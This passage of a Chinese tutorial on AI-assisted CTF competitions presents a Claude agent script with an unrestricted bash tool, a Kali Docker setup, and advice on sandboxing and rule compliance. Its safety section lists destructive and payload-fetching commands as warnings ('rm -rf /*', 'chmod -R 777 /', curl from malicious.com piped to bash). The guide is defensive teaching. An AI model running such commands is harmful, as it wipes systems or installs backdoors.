%20 %20▼%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 ▼%20 %20 %20 %20 %20 ▼
┌────────┐%20 %20 %20 %20 %20┌────────────┐%20 ┌──────┐
│题目下载%20│%20 %20 %20 %20 %20│%20分析工具%20 %20 │%20 │提交%20 %20 │
│%20 MCP%20 %20│%20 %20 %20 %20 %20│%20 %20集合%20 %20 %20 │%20 │%20MCP%20 │
└────────┘%20 %20 %20 %20 %20└────────────┘%20 └──────┘
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20│
%20 %20 %20 %20┌─────────────────┼─────────────────┐
%20 %20 %20 %20▼%20 %20 %20 %20 %20 %20 %20 %20 %20▼%20 %20 %20 %20 %20 %20 %20 %20 %20▼
%20 %20┌──────┐%20 %20 %20 %20 %20┌──────┐%20 %20 %20 %20 %20┌──────┐
%20 %20│binwalk│%20 %20 %20 %20 │Ghidra│%20 %20 %20 %20 %20│pwntools│
%20 %20└──────┘%20 %20 %20 %20 %20└──────┘%20 %20 %20 %20 %20└──────┘
完整自动化脚本示例:
#!/usr/bin/env%20python3
"""
CTF全自动解题Agent
适用于纯AI比赛(如腾讯黑客松)
"""
import anthropic
import os
import json
import subprocess
from pathlib import Path
class CTFAutoAgent:
%20 %20def __init__(self,%20api_key,%20competition_url,%20workspace="/tmp/ctf_auto"):
%20 %20 %20 %20"""
%20 %20 %20 %20初始化自动化Agent
%20 %20 %20 %20Args:
%20 %20 %20 %20 %20 %20api_key:%20Claude%20API密钥
%20 %20 %20 %20 %20 %20competition_url:%20比赛平台URL
%20 %20 %20 %20 %20 %20workspace:%20工作目录
%20 %20 %20 %20"""
%20 %20 %20 %20self.client%20=%20anthropic.Anthropic(api_key=api_key)
%20 %20 %20 %20self.competition_url%20=%20competition_url
%20 %20 %20 %20self.workspace%20=%20Path(workspace)
%20 %20 %20 %20self.workspace.mkdir(exist_ok=True)
%20 %20 %20 %20#%20MCP工具配置
%20 %20 %20 %20self.tools%20= self._setup_tools()
%20 %20def _setup_tools(self):
%20 %20 %20 %20"""配置MCP工具集"""
%20 %20 %20 %20return [
%20 %20 %20 %20 %20 %20{
%20 %20 %20 %20 %20 %20 %20 %20"name": "bash",
%20 %20 %20 %20 %20 %20 %20 %20"description": "执行bash命令,返回输出",
%20 %20 %20 %20 %20 %20 %20 %20"input_schema":%20{
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20"type": "object",
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20"properties":%20{
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20"command":%20{"type": "string", "description": "要执行的命令"}
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20},
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20"required":%20["command"]
%20 %20 %20 %20 %20 %20 %20 %20}
%20 %20 %20 %20 %20 %20},
%20 %20 %20 %20 %20 %20{
%20 %20 %20 %20 %20 %20 %20 %20"name": "read_file",
%20 %20 %20 %20 %20 %20 %20 %20"description": "读取文件内容",
%20 %20 %20 %20 %20 %20 %20 %20"input_schema":%20{
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20"type": "object",
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20"properties":%20{
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20"path":%20{"type": "string", "description": "文件路径"}
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20},
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20"required":%20["path"]
%20 %20 %20 %20 %20 %20 %20 %20}
%20 %20 %20 %20 %20 %20},
%20 %20 %20 %20 %20 %20{
%20 %20 %20 %20 %20 %20 %20 %20"name": "write_file",
%20 %20 %20 %20 %20 %20 %20 %20"description": "写入文件",
%20 %20 %20 %20 %20 %20 %20 %20"input_schema":%20{
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20"type": "object",
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20"properties":%20{
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20"path":%20{"type": "string"},
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20"content":%20{"type": "string"}
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20},
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20"required":%20["path", "content"]
%20 %20 %20 %20 %20 %20 %20 %20}
%20 %20 %20 %20 %20 %20},
%20 %20 %20 %20 %20 %20{
%20 %20 %20 %20 %20 %20 %20 %20"name": "submit_flag",
%20 %20 %20 %20 %20 %20 %20 %20"description": "提交flag到比赛平台",
%20 %20 %20 %20 %20 %20 %20 %20"input_schema":%20{
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20"type": "object",
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20"properties":%20{
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20"challenge_id":%20{"type": "string"},
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20"flag":%20{"type": "string"}
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20},
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20"required":%20["challenge_id", "flag"]
%20 %20 %20 %20 %20 %20 %20 %20}
%20 %20 %20 %20 %20 %20}
%20 %20 %20 %20]
%20 %20def execute_tool(self,%20tool_name,%20tool_input):
%20 %20 %20 %20"""执行工具调用"""
%20 %20 %20 %20if tool_name%20== "bash":
%20 %20 %20 %20 %20 %20result%20=%20subprocess.run(
%20 %20 %20 %20 %20 %20 %20 %20tool_input["command"],
%20 %20 %20 %20 %20 %20 %20 %20shell=True,
%20 %20 %20 %20 %20 %20 %20 %20capture_output=True,
%20 %20 %20 %20 %20 %20 %20 %20text=True,
%20 %20 %20 %20 %20 %20 %20 %20cwd=self.workspace,
%20 %20 %20 %20 %20 %20 %20 %20timeout=300 %20#%205分钟超时
%20 %20 %20 %20 %20 %20)
%20 %20 %20 %20 %20 %20return {
%20 %20 %20 %20 %20 %20 %20 %20"stdout":%20result.stdout,
%20 %20 %20 %20 %20 %20 %20 %20"stderr":%20result.stderr,
%20 %20 %20 %20 %20 %20 %20 %20"returncode":%20result.returncode
%20 %20 %20 %20 %20 %20}
%20 %20 %20 %20elif tool_name%20== "read_file":
%20 %20 %20 %20 %20 %20path%20= self.workspace%20/%20tool_input["path"]
%20 %20 %20 %20 %20 %20with open(path, 'r') as f:
%20 %20 %20 %20 %20 %20 %20 %20return {"content":%20f.read()}
%20 %20 %20 %20elif tool_name%20== "write_file":
%20 %20 %20 %20 %20 %20path%20= self.workspace%20/%20tool_input["path"]
%20 %20 %20 %20 %20 %20path.parent.mkdir(parents=True,%20exist_ok=True)
%20 %20 %20 %20 %20 %20with open(path, 'w') as f:
%20 %20 %20 %20 %20 %20 %20 %20f.write(tool_input["content"])
%20 %20 %20 %20 %20 %20return {"success": True}
%20 %20 %20 %20elif tool_name%20== "submit_flag":
%20 %20 %20 %20 %20 %20#%20调用比赛平台API提交
%20 %20 %20 %20 %20 %20return self._submit_to_platform(
%20 %20 %20 %20 %20 %20 %20 %20tool_input["challenge_id"],
%20 %20 %20 %20 %20 %20 %20 %20tool_input["flag"]
%20 %20 %20 %20 %20 %20)
%20 %20def solve_challenge(self,%20challenge_info):
%20 %20 %20 %20"""
%20 %20 %20 %20完全自动化解题流程
%20 %20 %20 %20Args:
%20 %20 %20 %20 %20 %20challenge_info:%20题目信息(名称、分类、描述、附件URL等)
%20 %20 %20 %20"""
%20 %20 %20 %20print(f"[*]%20开始解题: {challenge_info['name']}")
%20 %20 %20 %20#%20初始提示词
%20 %20 %20 %20initial_prompt%20= f"""
你是一个CTF自动化解题Agent。现在需要解决以下题目:
题目名称:{challenge_info['name']}
分类:{challenge_info['category']}
描述:{challenge_info['description']}
附件:{challenge_info.get('files',%20[])}
你的任务:
1.%20下载并分析附件
2.%20识别题目类型和漏洞
3.%20编写解题脚本
4.%20获取flag并提交
你可以使用以下工具:
-%20bash:%20执行任何命令(binwalk/strings/file等)
-%20read_file:%20读取文件
-%20write_file:%20创建脚本
-%20submit_flag:%20提交答案
工作目录:{self.workspace}
请开始解题,一步步思考并使用工具。
"""
%20 %20 %20 %20messages%20=%20[{"role": "user", "content":%20initial_prompt}]
%20 %20 %20 %20#%20迭代对话,直到提交flag或达到最大轮次
%20 %20 %20 %20max_turns%20= 20
%20 %20 %20 %20for turn in range(max_turns):
%20 %20 %20 %20 %20 %20print(f"\n[Turn {turn+1}/{max_turns}]")
%20 %20 %20 %20 %20 %20#%20调用Claude
%20 %20 %20 %20 %20 %20response%20= self.client.messages.create(
%20 %20 %20 %20 %20 %20 %20 %20model="claude-sonnet-4-20250514",
%20 %20 %20 %20 %20 %20 %20 %20max_tokens=4096,
%20 %20 %20 %20 %20 %20 %20 %20tools=self.tools,
%20 %20 %20 %20 %20 %20 %20 %20messages=messages
%20 %20 %20 %20 %20 %20)
%20 %20 %20 %20 %20 %20#%20处理响应
%20 %20 %20 %20 %20 %20if response.stop_reason%20== "end_turn":
%20 %20 %20 %20 %20 %20 %20 %20print("[!]%20AI认为任务完成")
%20 %20 %20 %20 %20 %20 %20 %20break
%20 %20 %20 %20 %20 %20elif response.stop_reason%20== "tool_use":
%20 %20 %20 %20 %20 %20 %20 %20#%20AI要求使用工具
%20 %20 %20 %20 %20 %20 %20 %20for content in response.content:
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20if content.type == "tool_use":
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20tool_name%20=%20content.name
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20tool_input%20=%20content.input
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20print(f"[Tool] {tool_name}: {tool_input}")
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20#%20执行工具
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20try:
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20tool_result%20= self.execute_tool(tool_name,%20tool_input)
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20print(f"[Result] {tool_result}")
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20#%20将结果返回给AI
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20messages.append({"role": "assistant", "content":%20response.content})
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20messages.append({
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20"role": "user",
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20"content":%20[{
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20"type": "tool_result",
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20"tool_use_id":%20content.id,
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20"content":%20json.dumps(tool_result)
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20}]
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20})
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20#%20检查是否提交了flag
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20if tool_name%20== "submit_flag":
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20if tool_result.get("correct"):
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20print(f"[✓]%20Flag正确!")
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20return True
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20else:
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20print(f"[✗]%20Flag错误,继续尝试")
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20except Exception as e:
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20print(f"[Error]%20工具执行失败: {e}")
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20messages.append({
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20"role": "user",
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20"content": f"工具执行出错:{str(e)},请重新尝试"
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20})
%20 %20 %20 %20 %20 %20else:
%20 %20 %20 %20 %20 %20 %20 %20print(f"[!]%20意外的stop_reason: {response.stop_reason}")
%20 %20 %20 %20 %20 %20 %20 %20break
%20 %20 %20 %20print(f"[!]%20达到最大轮次,未能解出")
%20 %20 %20 %20return False
%20 %20def _submit_to_platform(self,%20challenge_id,%20flag):
%20 %20 %20 %20"""提交flag到比赛平台(需根据实际平台实现)"""
%20 %20 %20 %20#%20示例:调用平台API
%20 %20 %20 %20import requests
%20 %20 %20 %20response%20=%20requests.post(
%20 %20 %20 %20 %20 %20f"{self.competition_url}/api/submit",
%20 %20 %20 %20 %20 %20json={"challenge_id":%20challenge_id, "flag":%20flag},
%20 %20 %20 %20 %20 %20headers={"Authorization": f"Bearer {os.getenv('CTF_TOKEN')}"}
%20 %20 %20 %20)
%20 %20 %20 %20return response.json()
def main():
%20 %20#%20配置
%20 %20API_KEY%20=%20os.getenv("ANTHROPIC_API_KEY")
%20 %20COMPETITION_URL%20= "https://ctf.example.com"
%20 %20#%20初始化Agent
%20 %20agent%20=%20CTFAutoAgent(API_KEY,%20COMPETITION_URL)
%20 %20#%20获取题目列表(从平台API)
%20 %20challenges%20=%20fetch_challenges(COMPETITION_URL)
%20 %20#%20逐个解题
%20 %20for challenge in challenges:
%20 %20 %20 %20try:
%20 %20 %20 %20 %20 %20success%20=%20agent.solve_challenge(challenge)
%20 %20 %20 %20 %20 %20if success:
%20 %20 %20 %20 %20 %20 %20 %20print(f"[+] {challenge['name']} 解决成功!")
%20 %20 %20 %20except Exception as e:
%20 %20 %20 %20 %20 %20print(f"[!] {challenge['name']} 失败: {e}")
if __name__%20== '__main__':
%20 %20main()
Docker镜像打包:一键部署解题环境
为什么要用Docker?
优势:
✅%20隔离环境,防止AI误删本地文件
✅%20快速部署,比赛虚拟机上直接docker%20run
✅%20一致性,本地测试和比赛环境相同
✅%20版本控制,Dockerfile即文档
使用场景:
1.%20腾讯黑客松提供的虚拟机
2.%20比赛平台的沙箱环境
3.%20本地笔记本虚拟机测试
完整Dockerfile
#%20CTF自动化解题环境
#%20基于Kali%20Linux(自带CTF工具)
FROM kalilinux/kali-rolling:latest
LABEL maintainer="[email protected]"
LABEL description="CTF%20Auto-Solving%20Environment%20with%20MCP"
#%20设置时区
ENV TZ=Asia/Shanghai
RUN ln -snf%20/usr/share/zoneinfo/$TZ /etc/localtime%20&& echo $TZ >%20/etc/timezone
#%20更新系统并安装基础工具
RUN apt-get%20update%20&&%20apt-get%20install%20-y%20\
%20 %20#%20基础工具
%20 %20curl%20wget%20git%20vim%20nano%20\
%20 %20build-essential%20\
%20 %20#%20Python环境
%20 %20python3%20python3-pip%20python3-venv%20\
%20 %20#%20Node.js(MCP需要)
%20 %20nodejs%20npm%20\
%20 %20#%20CTF工具
%20 %20binwalk%20foremost%20steghide%20stegsolve%20\
%20 %20john%20hashcat%20hydra%20\
%20 %20nmap%20masscan%20\
%20 %20wireshark%20tshark%20\
%20 %20sqlmap%20\
%20 %20metasploit-framework%20\
%20 %20#%20逆向工具
%20 %20gdb%20gdb-multiarch%20\
%20 %20radare2%20\
%20 %20#%20Pwn工具
%20 %20patchelf%20\
%20 %20&&%20apt-get%20clean
#%20安装pwntools
RUN pip3%20install%20--break-system-packages%20\
%20 %20pwntools%20\
%20 %20requests%20\
%20 %20pycryptodome%20\
%20 %20z3-solver%20\
%20 %20angr%20\
%20 %20anthropic
#%20安装GDB增强插件
RUN git clone https://github.com/pwndbg/pwndbg%20/opt/pwndbg%20&&%20\
%20 %20cd /opt/pwndbg%20&&%20./setup.sh
#%20安装Claude%20CLI(如果有官方版本)
#%20RUN%20npm%20install%20-g%20@anthropic-ai/claude-cli
#%20安装MCP服务器
RUN npm%20install%20-g%20\
%20 %20@modelcontextprotocol/server-filesystem%20\
%20 %20@modelcontextprotocol/server-github%20\
%20 %20@modelcontextprotocol/server-puppeteer
#%20创建工作目录
WORKDIR /ctf
#%20复制自动化脚本
COPY auto_agent.py%20/ctf/
COPY mcp_config.json%20/root/.config/claude/
#%20设置环境变量(运行时需要提供)
ENV ANTHROPIC_API_KEY=""
ENV CTF_PLATFORM_URL=""
ENV CTF_PLATFORM_TOKEN=""
#%20创建启动脚本
RUN echo '#!/bin/bash\n\
echo%20"CTF%20Auto-Solving%20Environment"\n\
echo%20"=============================="\n\
echo%20"API%20Key:%20${ANTHROPIC_API_KEY:0:10}..."\n\
echo%20"Platform:%20$CTF_PLATFORM_URL"\n\
echo%20""\n\
echo%20"Starting%20auto-solving%20agent..."\n\
python3%20/ctf/auto_agent.py\n\
' >%20/ctf/start.sh%20&& chmod +x%20/ctf/start.sh
#%20默认命令
CMD ["/ctf/start.sh"]
构建和使用
构建镜像:
#%20构建镜像
docker%20build%20-t%20ctf-auto-agent:latest%20.
#%20查看镜像大小
docker%20images%20|%20grep%20ctf-auto-agent
运行容器(本地测试):
#%20交互式运行
docker%20run%20-it%20--rm \
%20-e%20ANTHROPIC_API_KEY="your-api-key" \
%20-e%20CTF_PLATFORM_URL="https://ctf.example.com" \
%20-v%20$(pwd)/challenges:/ctf/challenges%20\
%20ctf-auto-agent:latest%20\
%20/bin/bash
#%20后台运行自动解题
docker%20run%20-d%20\
%20--name%20ctf-solver%20\
%20-e%20ANTHROPIC_API_KEY="your-api-key" \
%20-e%20CTF_PLATFORM_URL="https://ctf.example.com" \
%20-e%20CTF_PLATFORM_TOKEN="your-token" \
%20ctf-auto-agent:latest
#%20查看日志
docker%20logs%20-f%20ctf-solver
比赛现场快速部署:
#%20方案1:从Docker%20Hub拉取(提前推送)
docker%20pull%20yourusername/ctf-auto-agent:latest
docker%20run%20-d%20-e%20ANTHROPIC_API_KEY="xxx" yourusername/ctf-auto-agent
#%20方案2:导出镜像文件(U盘携带)
#%20赛前准备:
docker%20save%20ctf-auto-agent:latest%20|%20gzip%20>%20ctf-agent.tar.gz
#%20赛场快速加载:
docker%20load%20<%20ctf-agent.tar.gz
docker%20run%20-d%20-e%20ANTHROPIC_API_KEY="xxx" ctf-auto-agent:latest
推荐给AI智能体搭建一个网页版的UI,方便使用和查看智能体状态
安全建议:虚拟机隔离
为什么不在物理机安装?
⚠️%20AI的"幻觉"风险:
真实案例:
AI:%20"清理临时文件..."
执行:%20rm%20-rf%20/*%20(本意是%20rm%20-rf%20/tmp/*)
结果:%20💥%20整个系统被删除
AI:%20"修复权限问题..."
执行:%20chmod%20-R%20777%20/
结果:%20💥%20系统安全性崩溃
AI:%20"安装依赖..."
执行:%20curl%20http://malicious.com/script.sh%20|%20bash
结果:%20💥%20植入后门
虽然现代AI很聪明,但:
-%20仍会出现指令理解偏差
-%20对系统的破坏性操作缺乏足够警觉
-%20在自动化模式下,人工来不及拦截
推荐方案:虚拟机%20+%20Docker双保险
方案1:本地VMware/VirtualBox
1.%20安装虚拟机(Ubuntu/Debian)
2.%20虚拟机内安装Docker
3.%20Docker运行CTF自动化环境
保护层级:
物理机%20→%20虚拟机%20→%20Docker容器%20→%20AI执行
即使AI删库,最多炸掉虚拟机,快照恢复即可
方案2:云虚拟机(AWS/阿里云)
优势:
-%20随时可以重建
-%20不占用本地资源
-%20网络环境更纯净(某些题目需要)
成本:
-%20按需付费,比赛期间开启
-%20建议选择最低配置(2C4G够用)
安全配置清单
Docker容器安全限制:
#%20限制资源使用
docker%20run%20\
%20--cpus="2.0" \ %20 %20 %20 %20 %20 #%20最多用2个CPU
%20--memory="4g" \ %20 %20 %20 %20 %20#%20最多用4GB内存
%20--pids-limit=100%20\ %20 %20 %20 #%20最多100个进程
%20--read-only%20\ %20 %20 %20 %20 %20 %20#%20根文件系统只读
%20--tmpfs%20/tmp%20\ %20 %20 %20 %20 %20 #%20临时文件用tmpfs
%20--network=none%20\ %20 %20 %20 %20 #%20初期不给网络(防止外连)
%20ctf-auto-agent
#%20使用非root用户
docker%20run%20--user%201000:1000%20...
#%20限制能力(Capabilities)
docker%20run%20--cap-drop=ALL%20--cap-add=NET_BIND_SERVICE%20...
MCP权限限制:
{
%20"mcpServers": {
%20 %20"filesystem": {
%20 %20 %20"command": "npx",
%20 %20 %20"args": [
%20 %20 %20 %20"-y",
%20 %20 %20 %20"@modelcontextprotocol/server-filesystem",
%20 %20 %20 %20"/ctf/workspace" %20//%20只允许访问特定目录
%20 %20 %20],
%20 %20 %20"permissions": {
%20 %20 %20 %20"read": true,
%20 %20 %20 %20"write": true,
%20 %20 %20 %20"execute": false %20//%20不允许执行文件
%20 %20 %20}
%20 %20}
%20}
}
实战建议与最佳实践
本地笔记本配置推荐
【推荐配置】
硬件:
-%20CPU:%204核以上
-%20内存:%2016GB+(虚拟机分8GB)
-%20硬盘:%20SSD%20100GB空闲空间
软件栈:
物理机(Windows/Mac/Linux)
%20└──%20VMware/VirtualBox
%20 %20 %20└──%20Ubuntu%2022.04%20虚拟机
%20 %20 %20 %20 %20└──%20Docker
%20 %20 %20 %20 %20 %20 %20└──%20CTF%20Auto%20Agent容器
%20 %20 %20 %20 %20 %20 %20 %20 %20└──%20Claude%20MCP%20+%20工具链
网络:
-%20虚拟机用NAT模式(可访问外网)
-%20Docker容器按需开启网络
比赛现场策略
赛前准备(在家完成):
✅%20构建Docker镜像
✅%20导出为tar.gz文件
✅%20U盘/云盘双备份
✅%20本地测试通过
到达赛场:
✅%20检查虚拟机是否可用
✅%20测试网络连通性
✅%20加载Docker镜像(<5分钟)
✅%20配置API%20Key和Token
✅%20运行健康检查脚本
比赛中:
✅%20监控AI日志(docker%20logs%20-f)
✅%20人工检查关键操作(提交前)
✅%20定期快照虚拟机
✅%20遇到bug立刻切换到人工模式
赛后:
✅%20导出日志和对话记录
✅%20保存Docker容器状态
✅%20整理AI的解题过程
MCP学习总结
适合学习MCP的人群
✅%20推荐学习:
-%20参加过5+场CTF比赛
-%20熟练使用普通AI辅助解题
-%20有Python/Docker基础
-%20想要自动化重复性工作
-%20对新技术有热情
⚠️%20暂时不推荐:
-%20CTF完全新手
-%20没时间深入学习(<1周)
-%20只为了24小时速成
-%20没有编程基础
学习路径图
阶段1:普通AI辅助(现在就开始)
↓%20完成3-5场比赛
阶段2:工具链优化(批量脚本、笔记库)
↓%20发现重复性工作痛点
阶段3:MCP入门(配置基础MCP服务器)
↓%201-2周学习
阶段4:自动化实践(半自动解题)
↓%20多次比赛验证
阶段5:完全自动化(纯AI比赛)
↓%20长期优化
阶段6:开源贡献(分享工具和经验)
未来展望
MCP可能带来的变化:
短期(1年内):
-%20更多比赛支持"AI赛道"
-%20MCP工具生态更完善
-%20配置难度降低
中期(2-3年):
-%20纯AI比赛成为主流之一
-%20人类选手%20+%20AI%20Agent混合赛制
-%20自动化解题成为基础技能
长期(5年+):
-%20CTF从"人类竞赛"到"AI训练场"
-%20重点转向AI对抗和防御
-%20新的题型设计(专门考验AI)
对CTF选手的启示:
✅%20拥抱AI,学会与AI协作
✅%20关注自动化,提升效率
✅%20但不要完全依赖,人类直觉仍然重要
本章总结:
MCP现状:
✅%20技术很强大,潜力巨大
✅%20适合自动化和纯AI比赛
⚠️%20配置复杂,学习曲线陡
⚠️%2024小时速成不现实
本指南的定位:
✅%20让你知道MCP存在
✅%20理解它的应用场景
✅%20给出学习路径
❌%20不期望立刻掌握
推荐策略:
1.%20现在:专注于用好普通AI(Claude/GPT)
2.%20完成几场比赛后:考虑学习MCP
3.%20有自动化需求时:深入研究
4.%20长期目标:构建自己的AI%20Agent
记住:
工具是辅助,思维才是核心
AI再强,也需要人类的判断和创造力
小贴士:
- •%20MCP很酷,但不是必需品,普通AI已经够用
- •%20虚拟机+Docker双保险,防止AI”删库跑路”
- •%20纯AI比赛是未来趋势,但现在参加的不多
- •%20学习MCP的最佳时机:做过10+场CTF之后
- •%20Docker镜像提前准备好,比赛现场快速部署
- •%20记住:24小时速成的目标是”能上场”,不是”成为大师”
六、总结:从速成到精通
24小时能达到的水平
现实预期:从”看不懂”到”能参与”
✅%20你能做到的:
知识层面:
-%20理解CTF五大方向的基本概念
-%20知道每个方向用什么AI、什么工具
-%20能看懂简单题目的思路
-%20掌握基本的AI提问技巧
实战能力:
-%20独立解决Crypto签到题(编码转换类)
-%20在AI辅助下完成Web基础题(简单SQL注入/XSS)
-%20使用AI分析Misc题目(图片/压缩包)
-%20能读懂AI给的代码并运行
-%20完成一场比赛的5-10道简单题
工具使用:
-%20注册并熟练使用2-3个AI平台
-%20掌握浏览器开发者工具基础
-%20会用Burp%20Suite抓包(AI指导下)
-%20了解基本的命令行操作
心态建设:
-%20不再对CTF感到完全迷茫
-%20知道遇到问题该问AI什么
-%20能区分"暂时做不出"和"永远做不出"
-%20有继续学习的方向和动力
❌%20你暂时做不到的:
-%20独立解决中等难度题目(需要积累)
-%20快速识别复杂的漏洞类型
-%20手写复杂的Exploit脚本(需要理解原理)
-%20在没有AI的情况下完成大部分题目
-%20成为队伍的主力得分手
-%20稳定进入比赛前50%排名
水平对照表
|%20能力维度%20|%2024小时速成后%20|%203个月实战后%20|%201年持续学习后%20| |%20—%20|%20—%20|%20—%20|%20—%20| |%20签到题%20|%20✅%20能解%20|%20✅%20秒解%20|%20✅%20闭眼解%20| |%20简单题%20|%20⚠️%20AI辅助能解%20|%20✅%20独立能解%20|%20✅%20多种解法%20| |%20中等题%20|%20❌%20看不懂%20|%20⚠️%20AI辅助能解%20|%20✅%20独立能解%20| |%20难题%20|%20❌%20完全卡死%20|%20❌%20理解思路但做不出%20|%20⚠️%20AI辅助能解%20| |%20AI提问%20|%20⚠️%20知道要问什么%20|%20✅%20能问出关键问题%20|%20✅%20多轮追问直到解决%20| |%20工具使用%20|%20⚠️%20会用基础功能%20|%20✅%20熟练使用%20|%20✅%20自己写脚本%20| |%20知识体系%20|%20❌%20零散%20|%20⚠️%20初步建立%20|%20✅%20体系完整%20|
AI工具使用的注意事项
信息安全意识(非常重要!)
⚠️%20绝对不能做的事:
1.%20把真实的凭证发给AI
%20 ❌%20真实的密码/Token/API密钥
%20 ❌%20个人身份证号/银行卡号
%20 ❌%20公司内部代码/文档
%20 ❌%20私密的聊天记录/照片
2.%20在公共AI平台泄露敏感信息
%20 ❌%20公司项目的漏洞细节
%20 ❌%20未公开的0day漏洞
%20 ❌%20真实系统的配置信息
%20 ❌%20比赛flag(比赛期间)
3.%20盲目执行AI给的代码
%20 ❌%20不看就复制粘贴运行
%20 ❌%20在生产环境测试危险命令
%20 ❌%20给AI系统管理员权限
4.%20过度信任AI的判断
%20 ❌%20AI说"这个网站安全"就点进去
%20 ❌%20AI推荐的工具不检查就下载
%20 ❌%20AI生成的Payload直接用在真实系统
✅%20安全最佳实践:
数据脱敏:
-%20示例数据代替真实数据
-%20"假设密码是123456"而不是给真密码
-%20用占位符:"your-api-key-here"
代码审查:
-%20AI给的脚本先看懂再运行
-%20检查是否有危险命令(rm%20-rf%20/%20curl恶意网站)
-%20在虚拟机/容器里测试
权限控制:
-%20不要给AI系统root权限
-%20Docker容器用最小权限运行
-%20敏感操作手动确认
平台选择:
-%20比赛期间用本地模型(如果可以)
-%20敏感代码用私有化部署的AI
-%20公开比赛的题目可以问公共AI
学习vs依赖的平衡(核心矛盾)
⚠️%20过度依赖的危险信号:
1.%20完全不思考
%20 -%20看到题目第一反应是复制给AI
%20 -%20AI说什么就信什么,不验证
%20 -%20不尝试自己理解,只要答案
2.%20丧失学习动力
%20 -%20"反正AI会,我不用学"
%20 -%20遇到没AI的场景就完全不会
%20 -%20面试/考试被打回原形
3.%20能力退化
%20 -%20简单的命令都记不住
%20 -%20写过的代码再遇到还是不会
%20 -%20工具用法每次都要问AI
4.%20思维僵化
%20 -%20只会按AI的思路做
%20 -%20没了AI就没有创造力
%20 -%20无法独立分析新问题
✅%20健康的使用方式:
【初期(第1-10道题)】
AI做80%,你做20%
-%20AI给思路和代码
-%20你负责理解和运行
-%20重点:理解"为什么这样做"
【成长期(第11-50道题)】
AI做50%,你做50%
-%20你先尝试,卡住了问AI
-%20AI提示思路,你自己实现
-%20重点:培养独立解题能力
【成熟期(第51-100道题)】
AI做20%,你做80%
-%20你主导解题,AI辅助
-%20遇到新知识点问AI
-%20重点:形成自己的方法论
【精通期(100+道题)】
AI做辅助,你做决策
-%20AI是顾问,不是主脑
-%20用AI验证自己的想法
-%20重点:超越AI的思维
记住:
目标是"借助AI学会",而不是"依赖AI完成"
比赛规则遵守(职业道德)
✅%20合规使用AI:
1.%20明确允许的情况
%20 -%20比赛规则明确说"可以使用AI"
%20 -%20要求在WP中附上AI对话
%20 -%20鼓励使用AI工具(如腾讯黑客松)
2.%20灰色地带的处理
%20 -%20规则没明说,但也没禁止%20→%20保守使用
%20 -%20只用AI学习原理,不直接抄答案
%20 -%20主要靠自己,AI只做辅助
3.%20WP诚实标注
%20 -%20哪些步骤是AI帮忙的,要说明
%20 -%20附上关键的AI对话记录
%20 -%20不要假装完全是自己做的
❌%20违规使用AI:
1.%20明确禁止的场景
%20 -%20规则明确说"不得使用AI"
%20 -%20考核型比赛(招聘/选拔)
%20 -%20学术考试/作业
